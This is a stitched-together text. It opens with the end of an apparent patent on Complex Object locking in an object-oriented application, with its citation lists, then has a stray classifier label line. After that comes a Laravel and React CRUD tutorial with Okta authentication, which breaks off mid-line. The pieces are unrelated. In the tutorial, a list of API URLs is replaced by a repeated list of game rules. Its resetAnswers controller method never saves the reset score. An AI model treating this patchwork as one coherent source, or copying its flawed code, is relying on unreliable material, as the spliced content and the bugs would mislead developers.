Purchase Order is a Complex Object, a parts panel instead of a data entry panel is displayed when a Purchase Order is opened. See FIG. 23. Since Purchase Orders are version controlled, any version selection criteria must be taken into account during selection from this initial list. The selection popup to select the list may include restrictions of which version to choose. As already described, the version selection information becomes part of the contextual objects included in the ruler list for the first parts panel and all subsequent panels. When a selection is made, the parts panel checks if the panel to be opened is a list panel, a parts panel, or a data entry panel. If the panel is a list panel, the open-- part method is called passing the ruler list (with the working object added. The list panel open-- part then uses information in the ruler list to create a stream of the appropriate kind of object. The present invention specializes the creation of the stream to take advantage of the logical key and stream relationships provided here. For example, as shown in FIG. 24, if Line is selected, a stream of lines which match the purchase order number Purchase Order1 would be selected. If the next panel is a data entry panel, a check is made to see if its working object is the same as the working object for the parts panel. If it is not, the find-- internal method on new working object, which is redefined to call find-- applicable by the present invention, is used to find an instance of the new working object to open. This assumes that the logical keys will remain the same if no attributes are added, i.e. the ruler-to-subobject relationship is one-to-one. Thus, the logical key of the working object for the parts panel (e.g. the Purchase Order Header Logical Key) can be passed to the find-- applicable method of the selected object (e.g. a Purchase Order Text). In this example, there is only one Purchase Order Text object per Purchase Order (and version), and it is uniquely identified by the Purchase Order number (Purchase Order1) and the version (Ver2). See FIG. 25. If the next panel is a parts panel, processing is similar to that used when the next panel is a data entry panel. Two methods, update-- allowed and open-- allowed, are used to enforce Complex Object locks. These are methods on the Externalizable Object (EKNZEXTO), which are invoked by both interactive and batch processing. Both these methods are passed the current ruler list. The methods can be redefined by each application to find the rulers of interest within the ruler list, and to invoke the appropriate methods on the rulers to determine if update (or display) is allowed. Since these decisions are usually uniform within an application area, the update-- allowed and open-- allowed methods are redefined in EKNAA2A1 to call open-- allowed and update-- allowed methods on the Application Metaclass EKNAA201. This allows a particular Complex Object to change the way it enforces its Complex Object locking by redefining the methods in EKNAA201 (and allows greater flexibility). EKNAA2A2 also redefines the check-- tags method to call update-- allowed, and to make the entire panel display only if update is not allowed. This also disables File.Save. The check-- tags method is described in the above cited application Ser. No. 08/101,904. Several users may simultaneously update data within the same Complex Object. This may result in data integrity problems if a ruler is updated so that it no longer permits update of its subobjects (e.g. an EC is promoted into Release status while a BOM Component affected by that EC is being updated), or the ruler object is deleted as a new subobject is being added, or an existing subobject updated (e.g. a BOM Header is deleted while a BOM Component is added to the Bill of Material). In order to protect against these problems, the generic data entry panel and generic list panel, force rematerialization of the persistent objects in the ruler list prior to invoking validations and processing in the internal object. This ensures that the validations are against the most current data available for the rulers. In addition, the File.Save method in the generic data entry panel makes an additional call to update-- allowed, again forcing rematerialization of the persistent objects in the ruler list. As an additional option, the File.Delete and File.Save actions can perform a notify to each of the objects in the ruler list. This ensures that no updates have taken place to the objects in the ruler list between the time they were last rematerialized and the actual database commit of the object being updated. This additional check is controlled by a class attribute, so that it can be invoked selectively. In the drawings and specification, there have been disclosed typical preferred embodiments of the invention and, although specific terms are employed, they are used in a generic and descriptive sense only and not for purposes of limitation, the scope of the invention being set forth in the following claims. Patent Citations Cited PatentFiling datePublication dateApplicantTitle US4953080 *Apr 25, 1988Aug 28, 1990Hewlett-Packard CompanyObject management facility for maintaining data in a computer system US5050074 *Mar 28, 1988Sep 17, 1991Digital Equipment CorporationSystem for facilitating coordination of activities by a plurality of actors with an object database and state/action identification US5057996 *Jun 29, 1989Oct 15, 1991Digital Equipment CorporationWaitable object creation system and method in an object based computer operating system US5075842 *Dec 22, 1989Dec 24, 1991Intel CorporationDisabling tag bit recognition and allowing privileged operations to occur in an object-oriented memory protection mechanism US5075845 *Dec 22, 1989Dec 24, 1991Intel CorporationType management and control in an object oriented memory protection mechanism US5075848 *Dec 22, 1989Dec 24, 1991Intel CorporationObject lifetime control in an object-oriented memory protection mechanism US5095522 *Jun 28, 1988Mar 10, 1992Kabushiki Kaisha ToshibaObject-oriented parallel processing system, including concept objects and instance objects for messages exchanging between objects US5115504 *Nov 1, 1988May 19, 1992Lotus Development CorporationInformation management system US5161223 *Oct 23, 1989Nov 3, 1992International Business Machines CorporationResumeable batch query for processing time consuming queries in an object oriented database management system US5161225 *Oct 23, 1989Nov 3, 1992International Business Machines CorporationPersistent stream for processing time consuming and reusable queries in an object oriented database management system US5187786 *Apr 5, 1991Feb 16, 1993Sun Microsystems, Inc.Method for apparatus for implementing a class hierarchy of objects in a hierarchical file system US5206951 *Apr 3, 1991Apr 27, 1993Wang Laboratories, Inc.Integration of data between typed objects by mutual, direct invocation between object managers corresponding to object types US5247669 *Jan 6, 1993Sep 21, 1993International Business Machines CorporationPersistent data interface for an object oriented programming system US5265206 *Oct 23, 1990Nov 23, 1993International Business Machines CorporationSystem and method for implementing a messenger and object manager in an object oriented programming environment US5283898 *Oct 28, 1991Feb 1, 1994Fuji Xerox Co., Ltd.System and method for maintaining a mutual relationship between objects US5297283 *Oct 16, 1992Mar 22, 1994Digital Equipment CorporationObject transferring system and method in an object based computer operating system US5303379 *Aug 28, 1992Apr 12, 1994Wang Laboratories, Inc.Link mechanism for linking data between objects and for performing operations on the linked data in an object based system US5307499 *May 20, 1993Apr 26, 1994Singapore Computer Systems LimitedInterpretive object-oriented facility which can access pre-compiled classes US5313629 *Oct 23, 1989May 17, 1994International Business Machines CorporationUnit of work for preserving data integrity of a data-base by creating in memory a copy of all objects which are to be processed together US5361350 *Dec 12, 1991Nov 1, 1994International Business Machines CorporationObject oriented method management system and software for managing class method names in a computer system US5369778 *Sep 27, 1993Nov 29, 1994Wang Laboratories, Inc.Data processor that customizes program behavior by using a resource retrieval capability Non-Patent Citations Reference 1Andleigh et al, P, "Distributed Object--Oriented Data--Systems Design", 1992, pp. 69, 70, 71, 72, 73, 79, 87, 90, and 91. 2 *Andleigh et al, P, Distributed Object Oriented Data Systems Design , 1992, pp. 69, 70, 71, 72, 73, 79, 87, 90, and 91. 3Booch, G, "Software Engineering with ADA", 1987, pp. 62, 64. 4 *Booch, G, Software Engineering with ADA , 1987, pp. 62, 64. 5 *Computer Storage Cleanup Mechanism, M. J. Anderson et al., IBM Technical Disclosure Bulletin, vol. 24, No. 10, Mar. 1982, pp. 5311 5313. 6Computer Storage Cleanup Mechanism, M. J. Anderson et al., IBM Technical Disclosure Bulletin, vol. 24, No. 10, Mar. 1982, pp. 5311-5313. 7 *Representing Domain Dependent Data in an Object Oriented System, K. Barrett et al., IBM Technical Disclosure Bulletin, vol. 34, No. 6, Nov., 1991, pp. 291 300. 8Representing Domain-Dependent Data in an Object-Oriented System, K. Barrett et al., IBM Technical Disclosure Bulletin, vol. 34, No. 6, Nov., 1991, pp. 291-300. Referenced by Citing PatentFiling datePublication dateApplicantTitle US5946694 *Sep 29, 1997Aug 31, 1999International Business Machines CorporationApparatus and method for transparent application of service to business objects US6353860 *Dec 23, 1997Mar 5, 2002Sun Microsystems, Inc.Methods and apparatus for managing collections of objects US6662164 *May 19, 1998Dec 9, 2003Trilogy Development Group, Inc.Method and apparatus for determining commission US6687761 *Feb 19, 1998Feb 3, 2004Invensys Systems, Inc.Process control methods and apparatus with distributed object management US6718534 *Oct 3, 2000Apr 6, 2004Microsoft CorporationSystem for application independent programming of controls US6850922 *Jul 14, 2000Feb 1, 2005International Business Machines CorporationBusiness logic support US6857103Jul 14, 2000Feb 15, 2005International Business Machines CorporationFlexible help support in an object oriented application US6862736Feb 13, 2002Mar 1, 2005Microsoft CorporationObject manager for common information model US6938260 *Jul 14, 2000Aug 30, 2005International Business Machines CorporationComplex data navigation, manipulation and presentation support for visualage Java US7055147 *Feb 28, 2003May 30, 2006Sun Microsystems, Inc.Supporting interactions between different versions of software for accessing remote objects US7086067Jul 14, 2000Aug 1, 2006International Business Machines CorporationDynamic Java bean for VisualAge for Java US7143108Apr 6, 2000Nov 28, 2006International Business Machines CorporationApparatus and method for deletion of objects from an object-relational system in a customizable and database independent manner US7380249Mar 1, 2005May 27, 2008Microsoft CorporationObject manager for common information model US7383552Dec 3, 2004Jun 3, 2008Microsoft CorporationObject manager for common information model US7568152Jul 14, 2000Jul 28, 2009International Business Machines CorporationText file interface support in an object oriented application US7720944Oct 30, 2007May 18, 2010Invensys Systems, Inc.Process control system with networked digital data processors and a virtual machine environment US7739361Oct 30, 2007Jun 15, 2010Thibault Richard LMethods for remote process control with networked digital data processors and a virtual machine environment US7761923Mar 1, 2005Jul 20, 2010Invensys Systems, Inc.Process control methods and apparatus for intrusion detection, protection and network hardening US7860857Mar 30, 2007Dec 28, 2010Invensys Systems, Inc.Digital data processing apparatus and methods for improving plant performance US7882197Oct 30, 2007Feb 1, 2011Invensys Systems, Inc.Control system methods that transfer control apparatus information over IP networks in web page-less transfers US7890852 *Jun 26, 2003Feb 15, 2011International Business Machines CorporationRich text handling for a web application US7890927Oct 8, 2008Feb 15, 2011Invensys Systems, Inc.Apparatus and method for configuring and editing a control system with live data US7899070Oct 30, 2007Mar 1, 2011Invensys Systems, Inc.Control system apparatus with change updates US7908304Mar 15, 2001Mar 15, 2011Versata Development Group, Inc.Method and system for managing distributor information US7925513Mar 15, 2001Apr 12, 2011Versata Development Group, Inc.Framework for processing sales transaction data US7958024Mar 15, 2001Jun 7, 2011Versata Development Group, Inc.Method and apparatus for processing sales transaction data US7979488Oct 30, 2007Jul 12, 2011Invensys Systems, Inc.Control system methods using value-based transfers US7984420Nov 5, 2008Jul 19, 2011Invensys Systems, Inc.Control systems and methods with composite blocks US8023500Oct 30, 2007Sep 20, 2011Invensys Systems, Inc.Methods for process control with change updates US8028272 *Nov 5, 2008Sep 27, 2011Invensys Systems, Inc.Control system configurator and methods with edit selection US8028275 *Nov 5, 2008Sep 27, 2011Invensys Systems, Inc.Control systems and methods with smart blocks US8060222Nov 5, 2008Nov 15, 2011Invensys Systems, Inc.Control system configurator and methods with object characteristic swapping US8081584Oct 30, 2007Dec 20, 2011Invensys Systems, Inc.Control system apparatus and systems using value-based transfers US8090452Jul 20, 2007Jan 3, 2012Invensys Systems, Inc.Methods and apparatus for control using control devices that provide a virtual machine environment and that communicate via an IP network US8127060May 29, 2009Feb 28, 2012Invensys Systems, IncMethods and apparatus for control configuration with control objects that are fieldbus protocol-aware US8225271Nov 6, 2008Jul 17, 2012Invensys Systems, Inc.Apparatus for control systems with objects that are associated with live data US8229579Nov 5, 2008Jul 24, 2012Invensys Systems, Inc.Control systems and methods with versioning US8239312Mar 15, 2001Aug 7, 2012Versata Development Group, Inc.Method and apparatus for net-pay and debt consolidation US8327323 *Dec 8, 2008Dec 4, 2012International Business Machines CorporationAutomatic copying by ancestor in object-oriented languages US8368640Feb 14, 2006Feb 5, 2013Invensys Systems, Inc.Process control configuration system with connection validation and configuration US8381166Nov 14, 2005Feb 19, 2013International Business Machines CorporationMethod of managing application definitions used in a computer program US8463964Oct 14, 2010Jun 11, 2013Invensys Systems, Inc.Methods and apparatus for control configuration with enhanced change-tracking US8543909Nov 5, 2010Sep 24, 2013International Business Machines CorporationRich text handling for a web application US8566709Nov 5, 2010Oct 22, 2013International Business Machines CorporationRich text handling for a web application US8594814Jun 19, 2009Nov 26, 2013Invensys Systems, Inc.Systems and methods for immersive interaction with actual and/or simulated facilities for process, environmental and industrial control US8635251 *May 28, 2008Jan 21, 2014Paul Sui-Yuen ChanSearch and computing engine US8856806Jan 30, 2013Oct 7, 2014International Business Machines CorporationDynamic Java bean for visualage for Java US8924837May 28, 2009Dec 30, 2014International Business Machines CorporationText file interface support in an object oriented application US9058610Feb 7, 2011Jun 16, 2015Versata Development Group, Inc.Method and apparatus for performing collective validation of credential information US9256584Jul 23, 2013Feb 9, 2016International Business Machines CorporationRich text handling for a web application US9298481Aug 29, 2014Mar 29, 2016International Business Machines CorporationDynamic java bean for visualage for java US9330078Jul 15, 2013May 3, 2016International Business Machines CorporationRich text handling for a web application US9444860 *Jan 31, 2014Sep 13, 2016Intuit Inc.Method and system for data driven checklist sharing US9495691Dec 13, 2002Nov 15, 2016Versata Development Group, Inc.Efficient large-scale compensation calculation system US20020133458 *Mar 15, 2001Sep 19, 2002Cheng ZhouMethod and apparatus for net-pay and debt consolidation US20020169678 *Mar 15, 2001Nov 14, 2002David ChaoFramework for processing sales transaction data US20020188535 *Mar 15, 2001Dec 12, 2002David ChaoMethod and apparatus for processing sales transaction data US20030018481 *Mar 15, 2001Jan 23, 2003Cheng ZhouMethod and apparatus for generating configurable documents US20040065681 *Aug 22, 2003Apr 8, 2004Floyd Timothy HApparatus in selected housings for producing and dispensing automobile appearance care products US20040172462 *Feb 28, 2003Sep 2, 2004Iterum Skef F.Supporting interactions between different versions of software for accessing remote objects US20040268235 *Jun 26, 2003Dec 30, 2004International Business Machines CorporationRich text handling for a web application US20050027736 *Jul 22, 2004Feb 3, 2005Nolics OyGrouping of objects in object-oriented system US20090235164 *May 28, 2009Sep 17, 2009International Business Machines CorporationText file interface support in an object oriented application US20100049773 *Oct 28, 2009Feb 25, 2010International Business Machines CorporationDocument handling in a web application US20100146482 *Dec 8, 2008Jun 10, 2010International Business Machines CorporationAutomatic copying by ancestor in object-oriented languages US20110055686 *Nov 5, 2010Mar 3, 2011International Business Machines CorporationRich text handling for a web application US20110055690 *Nov 5, 2010Mar 3, 2011International Business Machines CorporationRich text handling for a web application US20110131137 *Feb 7, 2011Jun 2, 2011Shari GharavyMethod and apparatus for performing collective validation of credential information Classifications U.S. Classification719/316, 712/E09.084, 717/123, 707/999.107, 707/999.104 International ClassificationG06F9/06, G06F9/42, G06F9/44 Cooperative ClassificationY10S707/99948, Y10S707/99945, G06F9/443 European ClassificationG06F9/44F2A Legal Events DateCodeEventDescription May 21, 2002REMIMaintenance fee reminder mailed Nov 4, 2002LAPSLapse for failure to pay maintenance fees Dec 31, 2002FPExpired due to failure to pay maintenance fee Effective date: 20021103
__label__pos
0.733142
Dylan Iqbal Dylan Iqbal 1559880866 Build a Basic CRUD App with Laravel and React Today I’ll show you how you can build a Laravel API and connect it to a React frontend. We’ll use Okta for user authentication and authorization which will allow us to implement a top-notch security system in (almost) no time at all. Build a Basic CRUD App with Laravel and React. Add Okta for Authentication. Start Your Laravel + React CRUD Application. Set Up Your Okta Dev Account. Set Up Laravel. Create a Laravel API. Install React and Set Up the React Frontend. Add Authentication and Basic Routing to React. Display Your Players List Using React. Laravel is an amazing web application framework which regularly tops the lists of best PHP frameworks available today. This is partly because its based on PHP which runs 80% of the web today and the learning curve is relatively small (despite it being packed with advanced features, you can understand the basic concepts easily). However, the real reason for its popularity is its robust ecosystem and abundance of high-quality learning resources available for free (like this blog post!). Laravel is configured with Vue and build tools (based on webpack) out of the box so you can set up a development environment for building dynamic, single-page applications with little hassle. You are not limited to Vue though - you can also use Laravel as a backend that powers a frontend built in your preferred framework. Today I’ll show you how you can build a Laravel API and connect it to a React frontend. We’ll use Okta for user authentication and authorization which will allow us to implement a top-notch security system in (almost) no time at all. Before you start, you’ll need to set up a development environment with PHP 7 and Node.js 8+/npm. You will also need an Okta developer account. Add Okta for Authentication Well, we might be biased, but we think Okta makes identity management easier, more secure, and more scalable than what you’re used to. Okta is an API service that allows you to create, edit, and securely store user accounts and user account data, and connect them with one or more applications. To complete this tutorial, you’ll need to register for a forever-free developer account. When you’re done, come back to learn more about building a secure CRUD app with Laravel and React. Start Your Laravel + React CRUD Application The application we are going to build is a simple game interface for trivia quizzes. It allows you to register the players, generate new questions from a free API and mark the answers of the players as either right or wrong. Here’s what the finished app will look like: Here’s how to play: • One of the players assumes the role of host and doesn’t participate in the rankings • The host reads the question to the players • The players ‘race’ to answer the question • If the answer is correct, the player gets +1 point. If the answer is wrong, the player gets -1 point • When the question is answered correctly, the host can hit ‘Refresh Question’ to load the next question Set Up Your Okta Dev Account Let’s set up your Okta account so it’s ready when you need it. Before you proceed, you need to log into your Okta account (or create a new one for free) and set up a new OIDC app. You’ll mostly use the default settings. Make sure to take note of your Okta domain and the Client ID generated for the app. Here are the step-by-step instructions: Go to the Applications menu item and click the ‘Add Application’ button: Select ‘Single Page Application’ and click ‘Next’. Set a descriptive application name, add http://localhost:3000/ as the Base URI, and http://localhost:3000/implicit/callback as the Login redirect URI, and click Done. You can leave the rest of the settings as they are. Set Up Laravel Install the laravel command globally on your system through composer. Then create a new Laravel project, navigate to it and start the development PHP server: composer global require laravel/installer laravel new trivia-web-service cd trivia-web-service php artisan serve Now create a MySQL database and user for your app (of course, if you prefer a different database engine like PostgreSQL, you can use it instead): mysql -uroot -p CREATE DATABASE trivia CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER 'trivia'@'localhost' identified by 'trivia'; GRANT ALL on trivia.* to 'trivia'@'localhost'; quit The configuration variables are stored in the .env file in the main project directory. Let’s put your database credentials there: .env DB_DATABASE=trivia DB_USERNAME=trivia DB_PASSWORD=trivia Note: You’ll need to restart the php artisan serve command after you’ve made changes to the .env file. Create a Laravel API Our project will have a single entity (Player). Let’s create a model and a migration for it: php artisan make:model Player -m Model created successfully. Created Migration: 2018_11_28_094351_create_players_table (the -m option is short for --migration) Edit the migration and put the code that creates our database table in the up() method: database/migrations/2018_11_28_094351_create_players_table.php public function up() { Schema::create('players', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->integer('answers')->default(0); $table->integer('points')->default(0); $table->timestamps(); }); } Run the migration to apply the changes to our database: php artisan migrate We need to define the $fillable attribute of our model so we can tell Laravel which fields can be mass-assigned in create() and update() operations on the model: app/Player.php class Player extends Model { protected $fillable = ['name', 'answers', 'points']; } We also need to create two API resources (this is a relatively new feature in Laravel, introduced in 5.6, which allows us to deal with the JSON representation of our objects more efficiently). The resources we need are: Player (dealing with an individual player) and PlayerCollection (dealing with a collection of players). php artisan make:resource Player php artisan make:resource PlayerCollection Modify the toArray() functions of the resources: app/Http/Resources/Player.php public function toArray($request) { return [ 'id' => $this->id, 'name' => $this->name, 'answers' => (int) $this->answers, 'points' => (int) $this->points, 'created_at' => $this->created_at, 'updated_at' => $this->updated_at, ]; } app/Http/Resources/PlayerCollection.php public function toArray($request) { return [ 'data' => $this->collection ]; } We can now create the routes and controller for our REST API. php artisan make:controller PlayerController routes/api.php Route::get('/players', 'PlayerController@index'); Route::get('/players/{id}', 'PlayerController@show'); Route::post('/players', 'PlayerController@store'); Route::post('/players/{id}/answers', 'PlayerController@answer'); Route::delete('/players/{id}', 'PlayerController@delete'); Route::delete('/players/{id}/answers', 'PlayerController@resetAnswers'); app/Http/Controllers/PlayerController.php ... use App\Player; use App\Http\Resources\Player as PlayerResource; use App\Http\Resources\PlayerCollection; ... class PlayerController extends Controller { public function index() { return new PlayerCollection(Player::all()); } public function show($id) { return new PlayerResource(Player::findOrFail($id)); } public function store(Request $request) { $request->validate([ 'name' => 'required|max:255', ]); $player = Player::create($request->all()); return (new PlayerResource($player)) ->response() ->setStatusCode(201); } public function answer($id, Request $request) { $request->merge(['correct' => (bool) json_decode($request->get('correct'))]); $request->validate([ 'correct' => 'required|boolean' ]); $player = Player::findOrFail($id); $player->answers++; $player->points = ($request->get('correct') ? $player->points + 1 : $player->points - 1); $player->save(); return new PlayerResource($player); } public function delete($id) { $player = Player::findOrFail($id); $player->delete(); return response()->json(null, 204); } public function resetAnswers($id) { $player = Player::findOrFail($id); $player->answers = 0; $player->points = 0; return new PlayerResource($player); } } The API supports methods for retrieving all players or a specific player, adding/deleting players, marking answers as right/wrong and resetting the player’s score. There’s validation of the requests and the code generates JSON responses with the appropriate status codes in a rather modest amount of code. We also need to enable CORS so we can access our API from the frontend application: composer require barryvdh/laravel-cors app/Http/Kernel.php protected $middlewareGroups = [ 'web' => [ ... \Barryvdh\Cors\HandleCors::class, ], 'api' => [ ... \Barryvdh\Cors\HandleCors::class, ], ]; You can add some dummy data to the database or use the Faker library to automate the process of generating test data. Once you have some data, you can access these URLs: • One of the players assumes the role of host and doesn’t participate in the rankings • The host reads the question to the players • The players ‘race’ to answer the question • If the answer is correct, the player gets +1 point. If the answer is wrong, the player gets -1 point • When the question is answered correctly, the host can hit ‘Refresh Question’ to load the next question If you also want to test the POST/PUT/DELETE requests (for example with Postman), make sure to set the following header on each request, so the validation errors will be returned in JSON format. Accept: "application/json" Install React and Set Up the React Frontend We’ll use react-create-app (installed globally) to create our application. We will also install all the dependencies we will need in advance (React Router, Semantic UI React, Okta React) and run the development server: npm install --global create-react-app npx create-react-app trivia-web-client-react cd trivia-web-client-react yarn add react-router-dom semantic-ui-react yarn add @okta/okta-react --save yarn start The default React application should now load on http://localhost:3000. Add Authentication and Basic Routing to React We will start with the most basic React application possible. Let’s delete everything except the index.js and App.js files from the /src folder, and change their contents like this: src/index.js import React from 'react'; import ReactDOM from 'react-dom'; import App from './App'; ReactDOM.render(<App />, document.getElementById('root')); src/App.js import React, { Component } from 'react'; class App extends Component { render() { return ( <div> App </div> ); } } export default App; We’ll create a Semantic UI navbar and a Router with two basic routes: Home (not secure) and Trivia Game (secure). Then we’ll integrate the Okta authentication and implement the Login/Logout buttons. We’ll follow the Okta Authentication Quick Start Guide for React. public/index.html Add: <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.3.3/semantic.min.css"></link> src/Home.js import React, { Component } from 'react'; class Home extends Component { render() { return <div>Home page</div> } } export default Home src/Trivia.js import React, { Component } from 'react'; class Trivia extends Component { render() { return <div>Trivia Game page</div> } } export default Trivia src/Navbar.js import React, { Component } from 'react'; import { withAuth } from '@okta/okta-react'; import { Container, Menu } from 'semantic-ui-react'; export default withAuth(class Navbar extends Component { constructor(props) { super(props); this.state = { authenticated: null }; this.checkAuthentication = this.checkAuthentication.bind(this); this.login = this.login.bind(this); this.logout = this.logout.bind(this); } async componentDidMount() { this.checkAuthentication(); } async componentDidUpdate() { this.checkAuthentication(); } async login() { this.props.auth.login('/'); } async logout() { this.props.auth.logout('/'); } async checkAuthentication() { const authenticated = await this.props.auth.isAuthenticated(); if (authenticated !== this.state.authenticated) { this.setState({ authenticated }); } } render() { return ( <div> <Menu fixed="top" inverted> <Container> <Menu.Item as="a" header href="/"> Home </Menu.Item> {this.state.authenticated === true && <Menu.Item id="trivia-button" as="a" href="/trivia">Trivia Game</Menu.Item>} {this.state.authenticated === true && <Menu.Item id="logout-button" as="a" onClick={this.logout}>Logout</Menu.Item>} {this.state.authenticated === false && <Menu.Item as="a" onClick={this.login}>Login</Menu.Item>} </Container> </Menu> </div> ); } }); src/App.js import React, { Component } from 'react'; import { BrowserRouter as Router, Route } from 'react-router-dom'; import { Container } from 'semantic-ui-react'; import { Security, SecureRoute, ImplicitCallback } from '@okta/okta-react'; import Navbar from './Navbar'; import Home from './Home' import Trivia from './Trivia' const config = { issuer: 'https://{yourOktaDomain}/oauth2/default', redirect_uri: window.location.origin + '/implicit/callback', client_id: '{yourClientId}' } class App extends Component { render() { return ( <Router> <Security issuer={config.issuer} client_id={config.client_id} redirect_uri={config.redirect_uri} > <Navbar /> <Container text style={{ marginTop: '7em' }}> <Route path="/" exact component={Home} /> <Route path="/implicit/callback" component={ImplicitCallback} /> <SecureRoute path="/trivia" component={Trivia} /> </Container> </Security> </Router> ); } } export default App Don’t forget to replace the config values for issuer and client_id with your own! The app now contains a navbar with placeholder pages for Home, Trivia (only available when logged in), Login or Logout button (depending on the login state) and the login/logout actions work through Okta. We are ready to add the business logic of the application and connect it to the backend API. Display Your Players List Using React We will display the list of players in a table on the Trivia page. We’ll get the list from the API and add a ‘Loading…’ message until the API request completes. We’ll create a new config.js file and define our base API URL there: src/config.js export const API_BASE_URL = 'http://localhost:8000/api'; We can now modify our Trivia.js component so that it looks like the below: import React, { Component } from 'react'; import { Header, Message, Table } from 'semantic-ui-react'; import { withAuth } from '@okta/okta-react'; import { API_BASE_URL } from './config' export default withAuth(class Trivia extends Component { constructor(props) { super(props); this.state = { players: null, isLoading: null }; } componentDidMount() { this.getPlayers(); } async getPlayers() { if (! this.state.players) { try { this.setState({ isLoading: true }); const accessToken = await this.props.auth.getAccessToken(); const response = await fetch(API_BASE_URL + '/players', { headers: { Authorization: `Bearer ${accessToken}`, }, }); const playersList = await response.json(); this.setState({ players: playersList.data, isLoading: false}); } catch (err) { this.setState({ isLoading: false }); console.error(err); } } } render() { return ( <div> <Header as="h1">Players</Header> {this.state.isLoading && <Message info header="Loading players..." />} {this.state.players && <div> <Table> <thead> <tr> <th>ID</th> <th>Name</th> <th>Answers</th> <th>Points</th> <th>Actions</th> </tr> </thead> <tbody> {this.state.players.map( player => <tr id={player.id} key={player.id}> <td>{player.id}</td> <td>{player.name}</td> <td>{player.answers}</td> <td>{player.points}</td> <td> Action buttons placeholder </td> </tr> )} </tbody> </Table> </div> } </div> ); } }); Add Authentication to Your Laravel API We need to secure our backend API so it uses the Okta token to allow only authorized requests. We need to install the JWT Verifier package and add a custom middleware for API authentication: composer require okta/jwt-verifier spomky-labs/jose guzzlehttp/psr7 php artisan make:middleware AuthenticateWithOkta app/Http/Middleware/AuthenticateWithOkta.php <?php namespace App\Http\Middleware; use Closure; class AuthenticateWithOkta { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if ($this->isAuthorized($request)) { return $next($request); } else { return response('Unauthorized.', 401); } } public function isAuthorized($request) { if (! $request->header('Authorization')) { return false; } $authType = null; $authData = null; // Extract the auth type and the data from the Authorization header. @list($authType, $authData) = explode(" ", $request->header('Authorization'), 2); // If the Authorization Header is not a bearer type, return a 401. if ($authType != 'Bearer') { return false; } // Attempt authorization with the provided token try { // Setup the JWT Verifier $jwtVerifier = (new \Okta\JwtVerifier\JwtVerifierBuilder()) ->setAdaptor(new \Okta\JwtVerifier\Adaptors\SpomkyLabsJose()) ->setAudience('api://default') ->setClientId('{YOUR_CLIENT_ID}') ->setIssuer('{YOUR_ISSUER_URL}') ->build(); // Verify the JWT from the Authorization Header. $jwt = $jwtVerifier->verify($authData); } catch (\Exception $e) { // We encountered an error, return a 401. return false; } return true; } } app/Http/Kernel.php protected $middlewareGroups = [ 'web' => [ ... ], 'api' => [ ... \App\Http\Middleware\AuthenticateWithOkta::class, ], ]; Don’t forget to replace the client ID and issuer URL with your own! I also recommend to extract these variables into the .env file (they are not secrets and they are visible in the frontend application so it’s not a security concern to keep them in the repo, but it’s not convenient if you have multiple environments). If you did everything correctly, http://localhost:8000/api/players should now show you an ‘Unauthorized.’ message but loading the list of players in the React frontend should work fine (when you are logged in). Create a New Player Component in React We need a new React component for the Add Player form that we will add below the table on the Trivia page. First, we will modify Trivia.js to include the form and we will add a new method to updates the list of players when a new player is added: src/Trivia.js import PlayerForm from './PlayerForm'; (replace the constructor method) constructor(props) { super(props); this.state = { players: null, isLoading: null }; this.onAddition = this.onAddition.bind(this); } (add a new method) onAddition(player) { this.setState({ players: [...this.state.players, player] }) } (below the closing </Table> tag in the render() method): <PlayerForm onAddition={this.onAddition} /> We also need to create a new PlayerForm component: src/PlayerForm.js import React, { Component } from 'react'; import { Button, Form, Message } from 'semantic-ui-react' import { withAuth } from '@okta/okta-react'; import { API_BASE_URL } from './config' export default withAuth(class PlayerForm extends Component { constructor (props) { super(props); this.state = { name: '', errorMessage: '', error: false, isLoading: false } this.handleChange = this.handleChange.bind(this); this.onSubmit = this.onSubmit.bind(this); } handleChange(e) { this.setState({ name: e.target.value }) } async onSubmit(e) { e.preventDefault(); this.setState({ isLoading: true, error: false, errorMessage: '' }); const accessToken = await this.props.auth.getAccessToken(); const response = await fetch(API_BASE_URL + '/players', { method: 'POST', headers: { 'Content-Type':'application/json', Authorization: `Bearer ${accessToken}`, Accept: 'application/json' }, body: JSON.stringify({ "name": this.state.name }) }); const player = await response.json(); if (player.errors) { this.setState({ isLoading: false, error: true, errorMessage: player.errors }); } else { this.setState({ name: '', isLoading: false, error: false, errorMessage: '' }); this.props.onAddition(player.data); } } render() { return ( <Form error={this.state.error} onSubmit={this.onSubmit}> <Form.Field error={this.state.error}> <label>Player Name:</label> <input placeholder='enter player name' value={this.state.name} onChange={this.handleChange}/> { this.state.error && <Message error header='Error creating player' content={this.state.errorMessage} /> } </Form.Field> <Button type='submit' loading={this.state.isLoading}>Add Player</Button> </Form> ) } }); We can add more players to our game now using the form we just created. Add a Delete Player Button to React The next step is to implement the “Delete Player” button. We’ll create a new component for the button and pass the player ID as a property. src/Trivia.js import DeletePlayerButton from './DeletePlayerButton'; constructor(props) { super(props); this.state = { players: null, isLoading: null }; this.onAddition = this.onAddition.bind(this); this.onDelete = this.onDelete.bind(this); } onDelete(id) { let players = this.state.players; let index = players.findIndex(player => player.id === id) players.splice(index, 1) this.setState({ players: players }) } Replacing the action buttons placeholder text in the table inside the render() method: <DeletePlayerButton onDelete={this.onDelete} playerId={player.id} /> src/DeletePlayerButton.js import React, { Component } from 'react'; import { Form, Button } from 'semantic-ui-react' import { withAuth } from '@okta/okta-react'; import { API_BASE_URL } from './config' export default withAuth(class DeletePlayerButton extends Component { constructor (props) { super(props); this.state = { id: props.playerId, isUpdating: false } this.onSubmit = this.onSubmit.bind(this); } async onSubmit(e) { e.preventDefault(); this.setState({ isUpdating: true }); const accessToken = await this.props.auth.getAccessToken(); const response = await fetch(API_BASE_URL + '/players/' + this.state.id, { method: 'DELETE', headers: { 'Content-Type':'application/json', Authorization: `Bearer ${accessToken}`, Accept: 'application/json' } }); await response; await this.setState({ isUpdating: false }); this.props.onDelete(this.state.id); } render() { return ( <Form onSubmit={this.onSubmit}> <Button type='submit' loading={this.state.isUpdating}>Delete Player</Button> </Form> ) } }); Add the Trivia Service to React We’ll use a public API for trivia questions. This is a free service that provides random quiz questions from various topics. We’ll define the URL in the config.js file and get an initial question when the Trivia page is loaded. We will also modify the render() method of the Trivia component so the html includes a card with the question and answer, and buttons to indicate correct and wrong answer for each player: src/config.js export const TRIVIA_ENDPOINT = 'http://jservice.io/api/random?count=1'; src/Trivia.js Changes: import { Header, Message, Table, Card, Button } from 